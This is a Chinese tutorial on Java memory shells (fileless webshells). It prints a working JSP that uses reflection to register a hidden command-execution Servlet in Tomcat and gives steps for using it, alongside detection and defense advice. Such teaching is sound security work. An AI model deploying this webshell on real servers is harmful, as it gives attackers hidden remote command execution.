小白教学——超级简明易懂教你内存马是什么
字数 1493 2025-08-29 08:30:12

内存马技术详解

一、内存马概述

内存马(Memory Shell)是一种驻留在服务器内存中的恶意程序,与传统webshell(落地马)相比具有以下特点:

  1. 无文件驻留:不依赖磁盘上的具体文件(如.jsp或.php文件)
  2. 隐蔽性强:常规webshell查杀工具难以检测
  3. 临时性:存活于内存中,服务器重启后失效
  4. 动态注入:通常通过反射机制动态注册到容器中

二、内存马与传统webshell对比

特性 传统webshell 内存马
存储位置 磁盘文件 内存
检测难度 较易(文件扫描) 困难(需内存分析)
持久性 永久(除非删除) 临时(至服务器重启)
注入方式 文件上传 反射/反序列化等

三、内存马实现原理

1. Java Web三大组件

内存马主要利用Java Web的三大组件实现:

  • Servlet:处理HTTP请求的核心组件
  • Filter:请求过滤组件
  • Listener:事件监听组件

2. 关键技术

  • 反射机制:绕过常规注册流程,动态修改容器配置
  • Tomcat内部API:操作StandardContext等内部类
  • 动态注册:运行时添加恶意组件

3. 典型注入流程(以Servlet内存马为例)

  1. 获取当前ServletContext
  2. 通过反射获取ApplicationContext
  3. 继续反射获取StandardContext
  4. 创建Wrapper并设置恶意Servlet
  5. 添加URL映射

四、内存马实例分析

示例代码解析

<%@ page import="java.io.*, java.util.*, org.apache.catalina.*, java.lang.reflect.*" %>

<%!
public class Shell2Servlet extends HttpServlet {
    public void service(ServletRequest req, ServletResponse res) throws IOException {
        // 执行系统命令
        String cmd = req.getParameter("cmd");
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") 
            ? new String[]{"cmd.exe", "/c", cmd} 
            : new String[]{"sh", "-c", cmd};
        
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\A");
        String output = s.hasNext() ? s.next() : "";
        
        PrintWriter out = res.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }
}
%>

<%
// 通过反射获取StandardContext
ServletContext servletContext = request.getServletContext();
Field appField = servletContext.getClass().getDeclaredField("context");
appField.setAccessible(true);
ApplicationContext appContext = (ApplicationContext) appField.get(servletContext);

Field stdCtxField = appContext.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext ctx = (StandardContext) stdCtxField.get(appContext);

// 创建并注册恶意Servlet
Wrapper wrapper = ctx.createWrapper();
wrapper.setName("Shell2Servlet");
wrapper.setServletClass(Shell2Servlet.class.getName());
wrapper.setServlet(new Shell2Servlet());
ctx.addChild(wrapper);

// 添加URL映射
ctx.addServletMappingDecoded("/shell2", "Shell2Servlet", false);
%>

工作流程

  1. 上传包含上述代码的JSP文件并访问
  2. 代码执行后,恶意Servlet被注册到内存
  3. 可删除原始JSP文件
  4. 通过/shell2?cmd=whoami等路径执行任意命令

五、内存马注入方式

  1. 文件上传+访问:先上传JSP文件再访问触发
  2. 反序列化漏洞:利用Java反序列化漏洞直接注入
  3. 框架漏洞:利用Spring等框架的RCE漏洞
  4. JNDI注入:通过JNDI引用远程恶意类

六、内存马检测与防御

检测方法

  1. 内存分析

    • 使用Arthas等工具dump内存
    • 分析JVM加载的类
    • 检查可疑的Servlet/Filter/Listener
  2. 日志分析

    • 检查访问不存在的URL路径
    • 监控异常请求参数(如cmd=)
  3. 行为监控

    • 检测异常的Runtime.exec()调用
    • 监控动态组件注册行为

防御措施

  1. 输入验证

    • 严格过滤文件上传内容
    • 关闭不必要的上传功能
  2. 安全配置

    • 限制反射功能的使用
    • 配置SecurityManager
  3. 运行时防护

    • 使用RASP(运行时应用自我保护)技术
    • 部署内存马检测工具
  4. 容器加固

    • 定期更新中间件
    • 删除不必要的默认应用

七、高级话题

1. Filter内存马

通过动态注册Filter实现请求拦截,比Servlet内存马更隐蔽

2. Listener内存马

利用事件监听机制实现持久化驻留

3. Spring内存马

针对Spring框架的特殊实现方式:

  • 动态注册Controller
  • 利用RequestMappingHandlerMapping

4. 无反射内存马

使用Java Instrumentation等机制实现,避免反射操作

八、总结

内存马作为一种高级攻击技术,具有极强的隐蔽性。防御内存马需要从开发、部署到运维的全生命周期安全措施。了解其原理和实现方式,有助于更好地防御此类威胁。

注意:本文仅用于安全研究和技术学习目的,请勿用于非法用途。

内存马技术详解 一、内存马概述 内存马(Memory Shell)是一种驻留在服务器内存中的恶意程序,与传统webshell(落地马)相比具有以下特点: 无文件驻留 :不依赖磁盘上的具体文件(如.jsp或.php文件) 隐蔽性强 :常规webshell查杀工具难以检测 临时性 :存活于内存中,服务器重启后失效 动态注入 :通常通过反射机制动态注册到容器中 二、内存马与传统webshell对比 | 特性 | 传统webshell | 内存马 | |------|------------|--------| | 存储位置 | 磁盘文件 | 内存 | | 检测难度 | 较易(文件扫描) | 困难(需内存分析) | | 持久性 | 永久(除非删除) | 临时(至服务器重启) | | 注入方式 | 文件上传 | 反射/反序列化等 | 三、内存马实现原理 1. Java Web三大组件 内存马主要利用Java Web的三大组件实现: Servlet :处理HTTP请求的核心组件 Filter :请求过滤组件 Listener :事件监听组件 2. 关键技术 反射机制 :绕过常规注册流程,动态修改容器配置 Tomcat内部API :操作StandardContext等内部类 动态注册 :运行时添加恶意组件 3. 典型注入流程(以Servlet内存马为例) 获取当前ServletContext 通过反射获取ApplicationContext 继续反射获取StandardContext 创建Wrapper并设置恶意Servlet 添加URL映射 四、内存马实例分析 示例代码解析 工作流程 上传包含上述代码的JSP文件并访问 代码执行后,恶意Servlet被注册到内存 可删除原始JSP文件 通过 /shell2?cmd=whoami 等路径执行任意命令 五、内存马注入方式 文件上传+访问 :先上传JSP文件再访问触发 反序列化漏洞 :利用Java反序列化漏洞直接注入 框架漏洞 :利用Spring等框架的RCE漏洞 JNDI注入 :通过JNDI引用远程恶意类 六、内存马检测与防御 检测方法 内存分析 : 使用Arthas等工具dump内存 分析JVM加载的类 检查可疑的Servlet/Filter/Listener 日志分析 : 检查访问不存在的URL路径 监控异常请求参数(如cmd=) 行为监控 : 检测异常的Runtime.exec()调用 监控动态组件注册行为 防御措施 输入验证 : 严格过滤文件上传内容 关闭不必要的上传功能 安全配置 : 限制反射功能的使用 配置SecurityManager 运行时防护 : 使用RASP(运行时应用自我保护)技术 部署内存马检测工具 容器加固 : 定期更新中间件 删除不必要的默认应用 七、高级话题 1. Filter内存马 通过动态注册Filter实现请求拦截,比Servlet内存马更隐蔽 2. Listener内存马 利用事件监听机制实现持久化驻留 3. Spring内存马 针对Spring框架的特殊实现方式: 动态注册Controller 利用RequestMappingHandlerMapping 4. 无反射内存马 使用Java Instrumentation等机制实现,避免反射操作 八、总结 内存马作为一种高级攻击技术,具有极强的隐蔽性。防御内存马需要从开发、部署到运维的全生命周期安全措施。了解其原理和实现方式,有助于更好地防御此类威胁。 注意:本文仅用于安全研究和技术学习目的,请勿用于非法用途。